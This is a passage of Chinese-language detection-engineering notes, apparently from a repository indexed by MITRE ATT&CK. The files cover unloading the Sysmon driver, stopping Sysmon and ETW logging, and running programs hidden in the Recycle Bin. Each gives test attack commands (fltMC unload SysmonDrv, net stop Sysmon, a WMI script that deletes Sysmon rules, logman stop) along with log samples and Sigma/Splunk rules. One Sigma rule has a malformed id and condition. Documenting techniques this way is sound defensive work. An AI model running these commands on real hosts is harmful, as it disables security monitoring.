- 由于测试机未安装Sysmon,卸载失败并返回错误代码`0x801f0013`。 - 尽管失败,`fltMC.exe`的执行仍生成进程创建日志,留下可检测的痕迹。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: SYSTEM 计算机: DESKTOP-PT656L6 描述: 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x470C5 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xea4 新进程名称: C:\Windows\System32\fltMC.exe 令牌提升类型: %%1937 (TokenElevationTypeFull) 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x1acc 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: fltMC.exe unload SysmonDrv ``` **分析**: - 日志记录了`fltMC.exe`的执行,命令行明确包含`unload SysmonDrv`,表明卸载尝试。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 - 即使卸载失败,日志仍可用于检测。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测fltMC.exe卸载安全驱动 description: Detects execution of fltMC.exe with unload command targeting security tool drivers, such as SysmonDrv. id: 4d7cda18-1b12-4e52-b45c-d28653210df8 status: experimental author: Kirill Kiryanov, oscd.community date: 2019/10/23 modified: 2023/10/01 references: - https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon - https://attack.mitre.org/techniques/T1562/001/ tags: - attack.defense_evasion - attack.t1562.001 logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\fltMC.exe' CommandLine|contains: - 'unload' - 'sys' # 匹配SysmonDrv等驱动 condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate driver management by developers or administrators in test environments level: high ``` **规则说明**: - 检测`fltMC.exe`执行时命令行包含`unload`和`sys`(匹配`SysmonDrv`等驱动)的进程创建事件。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法驱动管理操作的误报。 ### 建议 1. **监控fltMC执行**: - 使用Sysmon(Event ID 1)捕获`fltMC.exe`的进程创建事件,检查命令行是否包含`unload`和安全驱动名称(如`SysmonDrv`、`AvDriver`)。 - 关注非管理员用户或非预期环境(如生产服务器)运行`fltMC.exe`的行为。 2. **收集安全驱动名称**: - 维护环境中使用的安全产品驱动列表(如Sysmon、CrowdStrike、SentinelOne的驱动),将其纳入检测规则。 - 定期更新规则以覆盖新部署的EDR或防病毒驱动。 3. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需Windows 7+支持)。 - 确保Sysmon配置包含命令行和父进程信息。 4. **权限监控**: - `fltMC.exe`卸载驱动需要管理员权限,监控非预期账户(如普通用户账户)尝试执行`fltMC.exe`的行为。 - 检测失败的卸载尝试(错误代码`0x801f0013`等),可能是攻击者进行权限探测。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`fltMC.exe`异常执行。 - 设置高优先级告警,针对`unload`操作涉及安全驱动的命令。 6. **行为链关联**: - 将`fltMC.exe`执行与其他可疑行为(如提权、文件删除、网络连接)关联,识别攻击链。 - 例如,检测卸载驱动后是否出现异常的进程创建或C2通信。 7. **限制fltMC使用**: - 使用AppLocker或组策略限制`fltMC.exe`的执行,仅允许在特定管理场景下运行。 - 监控未经授权的`fltMC.exe`调用。 8. **测试与验证**: - 在测试环境中模拟卸载安全驱动(如SysmonDrv),验证检测规则有效性。 - 调整规则阈值,排除合法开发或管理操作的误报。 ## 参考推荐 - MITRE ATT&CK T1562.001 - 如何规避Sysmon - LOLBAS:fltMC.exe - Microsoft文档:微筛选器开发工具 - Atomic Red Team T1562.001 ================================================ FILE: Windows/07逃避防御/T1562.001-Win-绕过Sysmon.md ================================================ # T1562.001-Win-绕过Sysmon ## 描述 攻击者可能通过禁用或干扰防御机制来规避检测(MITRE ATT&CK T1562.001)。这包括阻止监测软件捕获告警、阻止事件日志收集和分析,或修改安全工具配置以逃避追踪。针对**Sysmon**(Microsoft Sysinternals的强大系统监控工具),攻击者可能通过以下方式绕过其检测能力: - 删除或修改Sysmon的配置规则,使其停止记录关键事件。 - 卸载Sysmon的微筛选器驱动程序(如`SysmonDrv`),禁用其核心监控功能。 - 停止或禁用Sysmon服务,阻止其运行。 成功绕过Sysmon将显著降低防御方的主机活动可见性,为攻击者提供更大的操作空间,例如执行恶意代码、提权或横向移动,而不被记录。 ## 测试案例 ### Sysmon检测与绕过背景 Sysmon(最新版本10.x+)通过内核模式驱动(`SysmonDrv`)监控进程创建、文件操作、注册表修改、网络连接等活动。其配置存储在注册表(如`HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters`)或配置文件中。攻击者可能通过以下方式检测Sysmon存在并尝试绕过: **检测Sysmon存在**: - **枚举进程**:查找`Sysmon.exe`或`Sysmon64.exe`。 - **枚举服务**:查找`Sysmon`服务(`sc query Sysmon`)。 - **枚举驱动**:检查`C:\Windows\System32\Drivers\SysmonDrv.sys`或使用`fltmc.exe`查看微筛选器驱动(Sysmon的Altitude编号为**385201**)。 - **工具辅助**:如Mimikatz的`misc::mflt`命令,显示微筛选器信息。 **注意**:Sysmon支持模糊处理其可执行文件和驱动名称,增加检测难度,但Altitude编号(385201)为固定标识。 **绕过Sysmon的方法**: 1. **删除配置项**:删除注册表中的Sysmon规则(如`Rules`键),使其恢复默认配置或失效。 2. **卸载SysmonDrv驱动**:使用`fltMC.exe`卸载`SysmonDrv`,禁用监控。 3. **停止Sysmon服务**:通过`net stop`或任务管理器停止`Sysmon`服务。 ### 测试1:删除Sysmon配置项 攻击者通过WMI临时Consumer监控并删除Sysmon配置规则,临时禁用其自定义检测能力。 **攻击命令**(PowerShell,需管理员权限): ```powershell $query = "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'" Register-WMIEvent -Query $query -Action { Write-Host "Sysmon config updated, deleting config." Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Rules" } ``` **说明**: - 创建WMI临时Consumer,监控Sysmon配置注册表路径。 - 当`Rules`键被修改时,自动删除,Sysmon恢复默认配置(仅记录基本事件,如进程创建/终止)。 - 失效时间取决于配置管理方式(如GPO、Ansible)。 ### 测试2:卸载SysmonDrv驱动 使用`fltMC.exe`卸载Sysmon微筛选器驱动,禁用其监控功能。 **攻击命令**(需管理员权限): ```cmd fltMC.exe unload SysmonDrv ``` **验证命令**: ```cmd fltMC.exe ``` ### 测试3:停止Sysmon服务 通过命令行或任务管理器停止Sysmon服务。 **攻击命令**(需管理员权限): ```cmd net stop Sysmon ``` ## 检测日志 - **Windows安全日志**:Event ID 4688(进程创建),记录`fltMC.exe`或`net.exe`执行。 - **Sysmon日志**: - Event ID 1(进程创建),记录攻击命令执行。 - Event ID 12/13/14(注册表操作),记录Sysmon配置修改。 - Event ID 255(错误事件),记录驱动通信失败。 - Event ID 4(服务状态变更),记录Sysmon服务停止。 - **Windows系统日志**:Event ID 7036/7040/7034(服务控制管理器),记录服务停止或启动类型变更。 - **Windows-WMI-Activity日志**:Event ID 5860(WMI Consumer注册),记录WMI临时Consumer创建。 ## 测试复现 ### 测试1:删除Sysmon配置项 **测试环境**:Windows Server 2019,Sysmon已安装 **攻击命令**: ```powershell $query = "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'" Register-WMIEvent -Query $query -Action { Write-Host "Sysmon config updated, deleting config." Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Rules" } ``` **结果**: - WMI Consumer成功注册,监控Sysmon配置。 - 触发注册表修改后,`Rules`键被删除,Sysmon恢复默认配置,停止记录自定义规则事件。 - 日志中记录WMI Consumer创建和注册表删除操作。 ### 测试2:卸载SysmonDrv驱动 **测试环境**:Windows Server 2019,Sysmon已安装 **攻击命令**: ```cmd C:\Users\Administrator>fltMC.exe 筛选器名称 数字实例 高度 框架 ------------------------------ ------------- ------------ ----- SysmonDrv 2 385201 0 luafv 1 135000 0 C:\Users\Administrator>fltMC.exe unload SysmonDrv C:\Users\Administrator>fltMC.exe 筛选器名称 数字实例 高度 框架 ------------------------------ ------------- ------------ ----- luafv 1 135000 0 ``` **结果**: - `SysmonDrv`成功卸载,Sysmon监控功能失效。 - Sysmon日志记录错误(Event ID 255),表明驱动通信失败。 ### 测试3:停止Sysmon服务 **测试环境**:Windows Server 2019,Sysmon已安装 **攻击命令**: ```cmd C:\Users\Administrator>net stop Sysmon Sysmon 服务正在停止. Sysmon 服务已成功停止。 ``` **结果**: - Sysmon服务停止,监控功能暂停。 - 系统日志记录服务状态变更(Event ID 7036)。 ## 测试留痕 ### 测试1:删除配置项 **Windows-WMI-Activity日志(Event ID 5860:WMI Consumer注册)**: ```xml 日志名称: Microsoft-Windows-WMI-Activity/Operational 来源: Microsoft-Windows-WMI-Activity 日期: 2023/10/27 10:00:00 事件 ID: 5860 任务类别: None 级别: 信息 用户: SYSTEM 计算机: YourHost 描述: WMI Event Consumer registered: Namespace: root\cimv2 NotificationQuery: SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters' PossibleCause: Temporary ``` **Sysmon日志(Event ID 13:注册表值修改)**: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/27 10:00:01 事件 ID: 13 任务类别: Registry value set (rule: RegistryEvent) 级别: 信息 用户: SYSTEM 计算机: YourHost 描述: Registry value set: RuleName: technique_id=T1562.001,technique_name=Impair Defenses EventType: Set UtcTime: 2023-10-27 02:00:01.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 1234 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TargetObject: HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters\Rules Details: Deleted ``` ### 测试2:卸载SysmonDrv驱动 **Windows安全日志(Event ID 4688:进程创建)**: ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/27 10:30:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: SYSTEM 计算机: DESKTOP-PT656L6 描述: 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x470C5 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xea4 新进程名称: C:\Windows\System32\fltMC.exe 令牌提升类型: %%1937 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x1acc 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: fltMC.exe unload SysmonDrv ``` **Sysmon日志(Event ID 255:错误事件)**: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/27 10:30:00 事件 ID: 255 任务类别: Error 级别: 错误 用户: SYSTEM 计算机: YourHost 描述: Failed to retrieve events - Last error: 由于线程退出或应用程序请求,已中止I/O操作。 ID: DriverCommunication ``` ### 测试3:停止Sysmon服务 **Windows系统日志(Event ID 7036:服务状态变更)**: ```xml 日志名称: System 来源: Service Control Manager 日期: 2023/10/27 10:35:00 事件 ID: 7036 任务类别: None 级别: 信息 用户: N/A 计算机: YourHost 描述: Sysmon 服务处于 停止 状态。 ``` **Sysmon日志(Event ID 4:服务状态变更)**: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/27 10:35:00 事件 ID: 4 任务类别: Sysmon service state changed 级别: 信息 用户: SYSTEM 计算机: YourHost 描述: Sysmon service state changed: State: Stopped ``` ## 检测规则/思路 ### Sigma规则 #### 1. 检测WMI临时Consumer删除Sysmon配置 ```yaml title: 删除Sysmon配置项 - WMI临时Consumer检测 description: Detects creation of WMI temporary Consumer to monitor and delete Sysmon configuration rules. status: experimental date: 2023/10/27 references: - https://attack.mitre.org/techniques/T1562/001/ logsource: product: windows service: wmi-activity detection: selection: EventID: 5860 NotificationQuery|contains: 'RegistryKeyChangeEvent WHERE Hive=''HKEY_LOCAL_MACHINE'' AND KeyPath=''SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters''' PossibleCause: Temporary condition: selection fields: - NotificationQuery - PossibleCause falsepositives: - Legitimate administrative WMI scripts level: high tags: - attack.defense_evasion - attack.t1562.001 ``` #### 2. 检测卸载SysmonDrv驱动 ```yaml title: 检测fltMC卸载Sysmon驱动 description: Detects use of fltMC.exe to unload Sysmon driver, combined with Sysmon error logs. status: experimental date: 2023/10/27 references: - https://attack.mitre.org/techniques/T1562/001/ logsource: product: windows service: sysmon detection: selection_fltmc: EventID: 1 Image|endswith: '\fltMC.exe' CommandLine|contains: - 'unload' - 'Sysmon' selection_error: EventID: 255 ID: DriverCommunication Description|contains: 'Failed to retrieve events' timeframe: 1m condition: selection_fltmc and selection_error fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate driver management by administrators level: critical tags: - attack.defense_evasion - attack.t1562.001 ``` #### 3. 检测停止Sysmon服务 ```yaml title: 检测Sysmon服务停止或禁用 description: Detects stopping or disabling of Sysmon service via service control manager or Sysmon logs. status: experimental date: 2023/10/27 references: - https://attack.mitre.org/techniques/T1562/001/ logsource: product: windows service: system detection: selection_system: EventID: - 7036 - 7040 - 7034 EventData|contains: - 'Sysmon 服务处于 停止 状态' - 'Sysmon64 服务的启动类型' - 'Sysmon 服务意外终止' selection_sysmon: EventID: 4 State: Stopped condition: selection_system or selection_sysmon fields: - EventID - EventData falsepositives: - Legitimate administrative service management level: high tags: - attack.defense_evasion - attack.t1562.001 ``` ### 建议 1. **多源日志关联**: - 结合Windows安全日志、系统日志、Sysmon日志和WMI-Activity日志,全面监控Sysmon绕过行为。 - 重点关注`fltMC.exe`执行、WMI Consumer创建、注册表修改和服务状态变更。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数。 - 确保Sysmon配置捕获命令行、注册表和WMI事件。 3. **WMI审计**: - 启用WMI-Activity日志,监控Event ID 5860,检测临时Consumer的异常注册。 - 检查WMI查询是否针对Sysmon配置路径。 4. **基线化行为**: - 建立`fltMC.exe`、`net.exe`和Sysmon服务的正常使用基线,识别异常操作。 - 生产环境中停止Sysmon服务或卸载驱动应极为罕见。 5. **告警优先级**: - 将Sysmon绕过行为(如卸载驱动、停止服务)设置为**高危**或**关键**级别,触发即时告警。 - 快速响应以恢复Sysmon功能并调查攻击来源。 6. **健全性检查**: - 定期验证Sysmon服务状态(`sc query Sysmon`)、驱动存在(`fltMC.exe`)和配置完整性。 - 使用自动化脚本检查`HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters\Rules`是否存在。 7. **限制高危操作**: - 使用AppLocker或组策略限制`fltMC.exe`和`net.exe`的执行,仅允许特定管理账户使用。 - 监控非管理员账户尝试执行高权限操作。 8. **测试与验证**: - 在测试环境中模拟Sysmon绕过(如删除配置、卸载驱动),验证检测规则有效性。 - 调整规则阈值,排除合法管理操作的误报。 ## 参考推荐 - MITRE ATT&CK T1562.001 - 如何规避Sysmon - 检测Sysmon存在的分析 - Windows日志审核策略 - Atomic Red Team T1562.001 ================================================ FILE: Windows/07逃避防御/T1562.006-Win-停止日志采集.md ================================================ # T1562.006-Win-停止日志采集 ## 描述 攻击者可能试图阻止通常由日志审计策略(日志转发器)捕获的日志或事件被收集和分析。这可能包括恶意篡改或通过篡改控制事件遥测收集和流程的设置来禁用基于主机的传感器,例如**Windows事件跟踪(ETW)**。这些设置可以存储在系统中的配置文件中或注册表中,也可以通过管理实用程序(例如PowerShell或Windows Management Instrumentation (WMI))进行访问。 ETW中断可以通过多种方式实现,但最直接的方法是使用PowerShell的`Set-EtwTraceProvider` cmdlet定义条件,或者直接修改相关的注册表项。攻击者可能会利用此技术阻止安全工具或系统服务记录关键的活动日志,从而隐藏其恶意行为,使安全分析和事件响应变得更加困难。 在基于网络的指标报告中,攻击者可能会阻止与报告相关的流量,以防止进行集中分析。这可以通过多种方式来完成,例如停止负责转发数据的本地进程,或者创建基于主机的防火墙规则以阻止流量流向负责汇总事件的特定主机,例如安全信息和事件管理(SIEM)产品。 **注释:**ETW是Event Tracing for Windows的简称,它是Windows提供的原生的事件跟踪日志系统。由于采用内核(Kernel)层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案。许多系统组件和应用程序都依赖ETW来记录性能、诊断和安全事件。 ## 测试案例 目前没有具体的测试案例,但可以参考以下几种方法来模拟攻击者停止日志采集的行为: 1. **禁用Sysmon服务或修改其配置:** 攻击者可能会尝试停止Sysmon服务(`net stop Sysmon`),或者修改其配置文件以停止特定事件的收集。 2. **通过注册表禁用ETW提供程序:** 攻击者可以直接修改注册表,禁用或移除特定的ETW事件提供程序,使其不再生成日志。例如,修改`HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger`下的键值。 3. **使用PowerShell修改ETW会话:** 攻击者可以使用`Set-EtwTraceProvider`或`Stop-Trace`等PowerShell cmdlet来停止正在运行的ETW跟踪会话。 4. **禁用Windows事件日志服务:**虽然更具破坏性,但攻击者可能尝试停止或禁用Windows Event Log服务。 5. **修改本地防火墙规则阻止日志转发:**如果日志通过网络转发到SIEM,攻击者可能添加防火墙规则来阻止端口或IP地址的流量。 6. **终止日志转发进程:**识别并将负责日志转发的进程终止。 ## 检测日志 * Windows Sysmon日志 * Windows 安全日志 * Windows 系统日志 ## 测试复现 由于没有现成的测试案例,这里提供一些模拟攻击者行为的命令示例,用于生成相应的测试留痕。 **1.尝试停止Sysmon服务(需要管理员权限):** ```bash net stop Sysmon ``` **2.修改Sysmon配置(假设Sysmon.xml是配置文件路径,实际中攻击者会编辑该文件):** 攻击者需要先找到Sysmon配置文件,然后修改它,例如删除或禁用某些事件规则。之后可能需要重启Sysmon服务使配置生效。 **3.使用`logman.exe`停止ETW跟踪会话:** 首先查看现有跟踪会话: ```bash logman query ``` 假设有一个名为`MyTraceSession`的会话,攻击者可以停止它: ```bash logman stop MyTraceSession ``` **4.使用`wpr.exe`(Windows Performance Recorder)停止跟踪:** `wpr.exe`可以用于启动和停止ETW跟踪。攻击者可能会用它来停止某个正在运行的系统跟踪会话。 ## 测试留痕 攻击者停止日志采集的行为会在Windows Sysmon日志和系统日志中留下痕迹。 ### Windows Sysmon * **Sysmon Event ID 16(Sysmon Configuration Change):** 如果攻击者修改了Sysmon的配置文件并使其生效,Sysmon会记录此事件。 * **Sysmon Event ID 1(Process Creation):** 当`net.exe`、`sc.exe`(服务控制)、`logman.exe`、`powershell.exe`等工具被用于停止服务或修改ETW配置时,会生成进程创建事件。 * **Sysmon Event ID 12/13(Registry Event - Object created/deleted/modified):** 对ETW相关注册表键(如`HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\*`或`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\*`)的修改会生成注册表事件。 **示例Sysmon Event ID 16日志:** ```xml 16 2 4 16 0 0x8000000000000000 12345 Microsoft-Windows-Sysmon/Operational YourHost ... ... ``` ### Windows 系统日志 * **Event ID 7036 (Service Control Manager):** 当服务(如Sysmon服务或Windows Event Log服务)启动或停止时,系统日志中会记录此事件。 * **Event ID 7040 (Service Control Manager):** 当服务启动类型发生变化时(例如,从自动改为禁用),此事件会被记录。 ## 检测规则/思路 从主机日志转发器检测到缺少告警或者日志的活动。不同的阻止方法可能会导致转发中断。系统可能突然停止报告所有数据或仅报告某些种类的数据。 根据收集到的主机信息的类型,分析人员可能能够检测到触发了进程停止或连接被阻止的事件。 ### Splunk规则 ```yml # 监测Sysmon配置更改或对ETW相关注册表键的修改,以及logman.exe和wpr.exe的使用 index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" ( (EventCode=16) # Sysmon配置已更改 OR (EventCode IN (12,13) TargetObject="HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger*") # ETW Autologger注册表修改 OR (EventCode=1 Image="*\\logman.exe" CommandLine="*stop trace*" OR CommandLine="*delete trace*") # logman.exe停止或删除跟踪 OR (EventCode=1 Image="*\\wpr.exe" CommandLine="*stop*") # wpr.exe停止跟踪 OR (EventCode=1 Image="*\\sc.exe" CommandLine="*stop*Sysmon*" OR CommandLine="*config*Sysmon*start*= disabled*") # 停止或禁用Sysmon服务 OR (EventCode=1 Image="*\\net.exe" CommandLine="*stop*Sysmon*") # 停止Sysmon服务 ) # 监测ETW枚举行为(攻击者在修改前可能先查询) index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" ( (EventCode=1 Image="*\\logman.exe" CommandLine="*query*") # logman.exe查询ETW会话 OR (EventCode IN (12,13) TargetObject="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Publishers*") # 枚举ETW发布者注册表 ) ``` ### Sigma规则 ```yml title: Attempt to Stop Log Collection id: 5a8b7c9d-1e2f-3g4h-5i6j-7k8l9m0n1o2p status: experimental description: Detects attempts to stop or tamper with log collection mechanisms, including Sysmon service manipulation, ETW configuration changes, or use of logging utilities. date: 2023/06/15 logsource: product: windows service: sysmon # Focus on Sysmon for comprehensive activity detection: # Rule to detect Sysmon service manipulation or config changes sysmon_service_tampering: EventID: 1 Image|endswith: - '\sc.exe' - '\net.exe' CommandLine|contains: - 'stop Sysmon' - 'config Sysmon start= disabled' sysmon_config_change: EventID: 16 # Sysmon Configuration Change # Rule to detect ETW manipulation via logman/wpr etw_tool_use: EventID: 1 Image|endswith: - '\logman.exe' - '\wpr.exe' CommandLine|contains: - 'stop' - 'delete' - 'trace' # Rule to detect direct ETW registry modifications etw_registry_mod: EventID: - 12 # Registry object added - 13 # Registry object value modified TargetObject|contains: - 'HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\' - 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\' condition: 1 of sysmon_service_tampering or sysmon_config_change or etw_tool_use or etw_registry_mod level: high tags: - attack.defense_evasion - attack.t1562.006 ``` ### 建议 * **全面日志覆盖:** 确保Sysmon已部署且配置全面,尤其关注进程创建(Event ID 1)、文件操作(Event ID 11)、注册表操作(Event ID 12/13/14)和Sysmon自身配置更改(Event ID 16)。 * **服务状态监控:除了监控进程创建,还应监控Windows系统日志中的服务控制管理器事件(Event ID 7036/7040)**,以检测关键安全服务的停止或禁用。 * **行为链分析:** 攻击者通常不会单独执行这些操作。将停止日志采集的行为与之前的侦察、执行或持久化行为关联起来,以构建完整的攻击链。 * **异常流量检测:** 如果日志通过网络转发,监控SIEM中日志量或特定源主机日志突然减少的情况。防火墙日志(如果可用)也可用于检测出站日志转发端口的异常阻止。 * **告警与响应:** 将停止日志采集操作标记为高危行为,并设置自动告警。一旦检测到,应立即调查,并考虑自动恢复日志收集机制。 ## 参考推荐 - MITRE-ATT\&CK: T1562.006 https://attack.mitre.org/techniques/T1562/006/ - 如何利用ETW(Event Tracing for Windows)记录日志 https://www.cnblogs.com/artech/p/logging-via-etw.html ================================================ FILE: Windows/07逃避防御/T1564.001-Win-发现攻击者在回收站中隐藏恶意软件.md ================================================ # T1564.001-Win-发现攻击者在回收站中隐藏恶意软件 ## 描述 攻击者可能通过将文件或目录设置为隐藏来规避检测(MITRE ATT&CK T1564.001)。操作系统通常支持“隐藏”文件功能,以防止用户意外修改关键系统文件。在Windows中,隐藏文件通过GUI文件资源管理器或常规命令(如`dir`)不可见,需使用`dir /a`或设置显示隐藏文件。在Linux和macOS中,以`.`开头的文件(如`.ssh`)默认隐藏,需使用`ls -a`查看。macOS还支持`UF_HIDDEN`标志,隐藏文件在Finder中不可见。 攻击者可利用这些机制隐藏恶意文件或文件夹,特别是在非典型位置(如Windows的回收站`$Recycle.Bin`),以逃避用户和安全工具的检测。`$Recycle.Bin`是Windows系统中存储已删除文件的隐藏文件夹,位于每个磁盘根目录(Windows Vista前为`Recycler`,之后为`$Recycle.Bin`)。攻击者可能将恶意可执行文件置于此文件夹,利用其隐藏属性和用户忽视的特性执行恶意活动。 ## 测试案例 ### 测试1:执行隐藏在回收站中的恶意程序 攻击者将恶意可执行文件(如`nbtscan.exe`模拟恶意软件)置于`$Recycle.Bin`并直接调用执行。 **攻击命令**(需管理员权限或适当访问权限): ```cmd C:\$Recycle.Bin\$R54R99P.exe ``` **准备步骤**: 1. 将恶意文件(如`nbtscan.exe`)复制到`C:\$Recycle.Bin`(需显示隐藏文件或直接访问)。 2. 重命名文件为随机名称(如`$R54R99P.exe`),模拟攻击者伪装。 3. 通过命令提示符执行文件。 **清理命令**: ```cmd del C:\$Recycle.Bin\$R54R99P.exe ``` **说明**: - 攻击者利用`$Recycle.Bin`的隐藏属性,降低被用户或安全工具发现的概率。 - 恶意文件可能通过其他攻击向量(如钓鱼、RCE)放置到回收站。 ## 检测日志 - **Windows安全日志**:Event ID 4688(进程创建),记录从`$Recycle.Bin`启动的可执行文件(需启用进程跟踪审核)。 - **Sysmon日志**: - Event ID 1(进程创建),提供详细的命令行和父进程信息。 - Event ID 11(文件创建),记录恶意文件在`$Recycle.Bin`的创建。 ## 测试复现 ### 测试1:执行回收站中的恶意程序 **测试环境**:Windows 10 **准备**: 1. 复制`nbtscan.exe`(模拟恶意文件)到`C:\$Recycle.Bin`,重命名为`$R54R99P.exe`。 2. 确保已启用显示隐藏文件或直接通过路径访问。 **攻击命令**: ```cmd C:\Windows\system32>C:\$Recycle.Bin\$R54R99P.exe nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/ usage: C:\$Recycle.Bin\$R54R99P.exe [options] target [targets...] Targets are lists of IP addresses, DNS names, or address ranges... -V show Version information -f show Full NBT resource record responses (recommended) ... ``` **结果**: - 程序成功执行,输出`nbtscan`的使用信息。 - 无GUI窗口提示,表明攻击者可通过命令行静默运行恶意代码。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2021/04/06 17:39:04 事件 ID: 4688 任务类别: Process Creation 级别: 信息 关键字: 审核成功 用户: N/A 计算机: 12306BR0B4DD.361a.com 描述: 已创建新进程。 创建者主题: 安全 ID: 361A\12306br0 帐户名: 12306br0 帐户域: 361A 登录 ID: 0x507C3 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1224 新进程名称: C:\$Recycle.Bin\$R54R99P.exe 令牌提升类型: %%1937 (TokenElevationTypeLimited) 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x15d8 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\$Recycle.Bin\$R54R99P.exe ``` **分析**: - 日志记录了从`C:\$Recycle.Bin\$R54R99P.exe`启动的进程,表明可疑行为。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 - 命令行明确指向回收站路径,易于检测。 ### Sysmon日志(Event ID 1:进程创建) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2021/04/06 17:39:04 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: SYSTEM 计算机: 12306BR0B4DD.361a.com 描述: Process Create: RuleName: technique_id=T1564.001,technique_name=Hidden Files and Directories UtcTime: 2021-04-06 09:39:04.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 4644 Image: C:\$Recycle.Bin\$R54R99P.exe FileVersion: 1.0.35 Description: NBTScan Tool CommandLine: C:\$Recycle.Bin\$R54R99P.exe CurrentDirectory: C:\Windows\system32\ User: 361A\12306br0 LogonGuid: {12345678-1234-5678-1234-567890123457} LogonId: 0x507C3 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=...,MD5=...,SHA256=... ParentProcessGuid: {12345678-1234-5678-1234-567890123458} ParentProcessId: 5592 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: cmd.exe ``` **分析**: - Sysmon提供更详细的信息,包括文件哈希和完整命令行。 - 确认恶意文件从回收站路径执行,父进程为`cmd.exe`。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测回收站中隐藏的恶意软件执行 description: Detects execution of programs hidden in the Windows Recycle Bin, indicating potential malicious activity. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1564/001/ - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Malware_In_recyclebin.txt logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|contains: '\$Recycle.Bin\' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate administrative tools executed from Recycle Bin (rare) level: high tags: - attack.defense_evasion - attack.t1564.001 ``` **规则说明**: - 检测从`$Recycle.Bin`路径启动的进程创建事件,覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少误报(如管理员误操作)。 ### 建议 1. **监控回收站路径**: - 使用Sysmon(Event ID 